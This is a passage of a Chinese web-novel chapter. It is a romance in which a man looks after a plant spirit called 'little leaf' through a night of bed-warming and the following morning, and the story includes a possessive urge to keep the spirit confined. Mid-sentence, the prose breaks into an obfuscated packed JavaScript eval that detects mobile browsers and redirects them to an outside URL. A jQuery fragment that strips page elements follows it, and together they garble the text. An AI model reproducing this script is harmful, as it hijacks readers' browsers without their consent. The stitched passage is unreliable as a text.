霍宴池总觉得应该说些什么,思考了好久,只蹦出几个字来。
“我挺好的。”
沈君澜定定地望着霍宴池的眼睛,是幽深又粘稠的墨色,猩红已经散去,应该挺好的吧。
他腰身软下去,歪着脑袋靠在霍宴池心口,仔细听着霍宴池的心跳。
砰砰砰的,比他的心跳要快很多很多。
“主人,你的心跳乱乱的。”
霍宴池侧开脸,任谁一扭头,瞥见小叶子盈盈一握的腰肢露出来,腰窝凹陷出漂亮的弧度,他如同一团猫整个窝在自己怀里蹭来蹭去,心跳不乱就奇怪了。
“好吧,我不懂你们生病是什么样,应该没问题吧。”
沈君澜坐直身体,把手掌捂在自己心口,仔细感受着,好像差不多,应该是没问题的。
“主人,你困不困呀,我好困好困。”
“之前好像喝了营养液也没有这么困,今天不知道怎么回事,累累的,还有就是热,特别热。”
沈君澜扯了一把领口,衬衣扣子崩开几颗,他蔫哒哒地打了两个哈欠,锁骨往下泛着薄红,脖颈上是沈君澜掐出来的红痕,像是星星点点的红梅缀在上面。
燥热感应该是他睡起来才发觉的,原本掖在裤腰里的衣摆扯了出来,西装裤堆叠到小腿,后背是润湿的细汗,他舔了舔唇瓣,只顾着看洞洞鞋,压根没注意这些变化。
此刻沈君澜放松下来,一波接着一波的烦闷燥热袭来,他委屈地扯着霍宴池的衣摆寻求安慰。
“主人,是不是太阳太晒,你没有挪地方才让我晚上都这么热啊,烦烦的。”
是说不出具体感觉的烦躁,沈君澜咬着唇瓣气呼呼地戳了霍宴池几下,可能就是因为他被太阳晒到了。
霍宴池手指微不可查地蜷了一下,他忽地想起,营养液稀释的比例不够,比往常最少要浓郁两倍,可能是营养液的问题。
他抬眼观察着沈君澜,身形依稀清楚了一些,不再是近乎于透明的白色。
应该,是好事才对。
是营养液暂时不好吸收,表现出来的燥热。
霍宴池只能吃了没有挪花盆的哑巴亏,上楼之后仔细给沈君澜擦了擦叶子,又浇了一次雪山融水,怕恒温的中央空调温度不够,特意从杂物间翻出来一个小风扇,轻轻给沈君澜扇风。
“主人,左边也要!”
小风扇的风比较温和,沈君澜胳膊撑着窗台,哼唱着不知名的小曲,仰面享受着霍君澜全方位的风扇吹风服务。
“现在舒服多了,主人,是不是到你的洗澡时间了。”
霍宴池的生活作息很固定,每晚十点洗澡,十点十五分上床睡觉。
小雀说了要暖.床,十五分钟应该可以的。
霍宴池捏着风扇,装模作样地理了理沈君澜的叶子,洗澡算是挺私密的事情,小叶子总不至于也跟着进去吧。
事实证明,霍宴池还真是没想多。
沈君澜甚至先他一步进了浴室,殷勤地给霍宴池调好冷水,手里捧着浴巾眼巴巴地等着霍宴池拿。
“这个温度舒服的,我也想洗,主人,咱们挤挤吧。”
霍宴池大脑有一瞬间的宕机,他目光不经意瞥过沈君澜,欲言又止。
只能在沈君澜抬手去解最后一颗衬衣扣子时,夺门而出,速度快到似乎浴室里有洪水猛兽。
沈君澜奇怪地喊了两声,霍宴池脚下的速度更快,留给沈君澜的,只是霍宴池砰的关门声。
“主人怎么奇奇怪怪的,是不喜欢这个温度么。”
沈君澜嘟囔着打开花洒,他可喜欢,冰冰凉凉的水从脸颊一路下滑,滋润全身,超级舒服。
他飞快冲洗好,裹着霍宴池的浴巾出来,把自己脱下来的衣服一并扔进洗衣机里。
每次霍宴池把衣服丢进去就干干净净,他明天醒来就能换上。
沈君澜趿拉着洞洞鞋,揉着酸胀的眼睛爬上床,窝在霍宴池的被子里,认真进行暖.床的工作。
上下眼皮困得直打架,沈君澜揪着自己的发丝才勉强保持情绪。
“不能睡着不能睡着,醒醒,快醒醒。”
沈君澜咕哝的声音越来越小,眼皮彻底合上,混沌的脑子没有一丝清明,很快就传来均匀的呼吸。
等霍宴池从隔壁洗完澡回来,床铺上已经隆起小小的弧度,他擦着头发移到床前,认命地给小叶子盖了盖被子。
小叶子可能是翻了几下身,浴袍的腰带就松散的要命,要坠不坠,松松垮垮挂在腰间,大片大片的肌肤露出来,偏偏睡着的小叶子还毫无所觉,嘴角上扬,看起来就挺高兴的。
霍宴池在床边踟蹰了几十秒,扭头又进了浴室,洗衣机里塞着沈君澜的衣服却没有启动,霍宴池把按钮摁开,滴的一声。
就这一声,睡得正香的沈君澜忽然有了反应,他蹭地一下坐起来,迷迷瞪瞪望着洗衣房的方向。
是霍宴池回来了。
他掀开被子飘起来,缩成小小的一团挂在花盆里,乍一看如同一朵小小的花骨朵,随着叶片上下的弧度轻摆。
目睹了全程的霍宴池当时就沉默了,垂在身侧的手指悄悄比划了两下,变小的小叶子大概就他巴掌大小,摇头晃脑的可爱模样,萌的他心头一颤。
“主人,你还不困吗?”
“我困,你快睡,你睡着了我就能睡了。”
霍宴池没懂这是什么逻辑,他微微一愣,还是按照小叶子的催促侧身躺下,他思绪飘远,开始思考小叶子窝在花盆边上是不是太挤了。
正想着,沈君澜一个翻身又坐到了叶片上,看来是真的挤啊。
霍宴池关了屋里的灯,假模假样闭上眼睛,几秒后,床侧微微塌陷,是他的小叶子上床了。
“主人,是我给你暖的床哦,我是不是很能干,而且我没有睡着,是等你先睡着的。”
黑暗里,霍宴池勾了勾唇角。
他可算知道,小叶子哪怕睡着都要爬起来是什么意思了,都是为了他啊。
暖床,是挺暖的,他就躺在小叶子刚刚躺过的位置,鼻尖里还萦绕着好闻的清香。
沈君澜挪了挪位置,从霍宴池身侧拽了一点点被子给自己盖上。
“主人,我就占一点点地方哦,不会挤到你的,睡床可舒服,花盆里太硬了,叶子上又太软,还是你的床好,我眼馋好久了。”
沈君澜絮絮叨叨给自己说困了,很快就只剩下他的呼吸。
霍宴池确认小叶子睡熟,才把宽大的被子给他分了一半。
两人中间隔着很近的距离,却没有真的挨在一起,霍宴池试着闭上眼睛,然后一遍遍告诉自己。
小叶子是真实存在的,不是他幻想出来的,等明天早上第一缕阳光照耀进来时,小叶子一定还躺在他的身侧,软软乎乎地喊着主人,说些戳心窝的暖心话。
***
比阳光先到来的,是霍宴池给沈君澜擦叶子的小动作。
大床上的沈君澜察觉到胳膊上的痒意,强撑着睁开眼睛从被窝里钻出来。
阳台的晾衣架上挂着他的衣服,一并挂起来的还有他的内裤,内裤上印着的细碎叶子随着窗户上的微风轻轻摆动。
沈君澜磨了磨牙,难得生出一点尴尬的心思来,跟霍宴池生活这么久,他再怎么样也知道贴身衣物挺私密的,洗衣机又没有手,是谁挂起来的不言而喻。
沈君澜干咳一声,低垂下的脖颈上微微泛红,一转眼,床头上摆着的纯白色内裤吸引了他全部的注意力。
是冰丝一样的质感,很适合夏天。
沈君澜把内裤拿在手里,偷偷看了眼专心擦叶子的霍宴池,飞快把浴袍换下来,穿上白色的半袖外加浅蓝色的直筒牛仔裤,才打着哈欠磨磨蹭蹭挪到阳台边上。
“主人,早上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698192|173457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好。”
“你今天起来的好早,水要凉一点的哦。”
他的小叶子是白天怕热,晚上怕冷,抢了他一晚上被子,里里外外裹的严严实实,连透气的地方都没有留。
霍宴池反反复复起来好几次,趴在被子上听着沈君澜的呼吸才安心一点。
“唔。”
霍宴池眨眼间面前就多了一张俊脸,他捏着长了一点的翠绿色嫩叶子,调整呼吸节奏,任由沈君澜凑近。
瓷白的指尖咻地贴近,堪堪停在他的眼底,却没有落下。
小叶子侧身贴过来时,霍宴池嗅到了属于他自己的冷香,那是小叶子和他同床共枕时沾染到的。
小叶子浑身上下,都是他的味道。
气氛瞬间诡异起来,霍宴池别扭地眨了眨眼睛,下颚绷的更紧,看起来更难以接近。
“主人,你还是睡不好么,好重的黑眼圈啊,乌青乌青的。”
沈君澜没敢真的碰上去,虽说看不见他,但指尖碰上去的触感,霍宴池会感觉到的。
“是不是我睡觉不乖,偷偷抢你被子了,我睡起来被子都在我身上。”
“主人,我不是故意的,我也不知道我睡着会抢被子,要不然我还是睡花盆里好了,小一点硬一点破一点都没关系的。”
沈君澜收回指尖,嘟嘟囔囔说了很多,也不知是在安慰自己,还是谴责自己。
说了最后,沈君澜可能是自己都觉得凄惨,唉声叹气地捧着脸颊哼哼。
他不舍地看了好几眼床铺,不能睡就不能睡吧,他是来报恩的不是报仇,霍宴池本来身体就差差的,一直睡不着可怎么办。
“我睡得很好。”霍宴池把黑屏的手机放在耳畔,“周医生,你不用担心。”
“嗯,有黑眼圈是正常的,现在的年轻人哪个没有黑眼圈。”
沈君澜认真盯着霍宴池看了好久,见他精神头很足,没有恹恹的情绪才放心下来。
“主人,你放心吧,你就是有黑眼圈也帅帅的。”
霍宴池刚扬了扬唇,又听沈君澜慢吞吞补充道:“就像小熊猫,那么大的黑眼圈还是漂亮的。”
其实,最后这句大可不必。
早餐霍宴池只喝了一杯牛奶,他换好衣服打开别墅的门,不想小叶子先他一步出门,猛地吸了几口新鲜空气。
“啊,是自由的味道。”
被霍宴池带回来以后,还是第一次出来,他居然有些想念在不周山的日子。
嘶。
沈君澜搓了搓胳膊又缩回来,太阳还是太热了,他皮肤娇嫩,轻轻晒了一下就出来一道浅浅的红印子。
好吧,不周山也没什么好想的。
“主人,你怎么了呀,突然怪怪的。”
霍宴池脸色很差,跟刚刚在屋里的模样简直是判若两人,一个和煦如春风,另一个冷漠如寒冰。
霍宴池从沈君澜的语气里听出来隐藏的遗憾,他被困在方寸之地豢养了八年,到底还是向往自由的。
可是,花要怎么样自由呢,到哪都是困在方寸之地。
倒不如,一辈子就困在他的卧室里。
墨色的眸子慢慢坚定,霍宴池捻了一下指尖,目光温柔地落在沈君澜身上。
被他这个疯子捡回来那天就注定了,走肯定是走不了的。
脑海里各种想法浮现,霍宴池深吸了一口气,把小叶子圈养起来的想法刚冒出来,小叶子白嫩的指尖就勾起他的衣摆。
顷刻间,所有阴暗的想法烟消云散。
“主人,我想跟你一起去上班,晒晒的,跟你挨着凉快,不想跟你分开。”
小叶子叽里呱啦说了什么霍宴池没太注意,他只听到一句,不想跟他分开。
霍宴池轻而易举就被哄好,他侧了侧身,不着痕迹地替小叶子挡住了灼烫的阳光。
就是这样才对,全心全意依赖着他。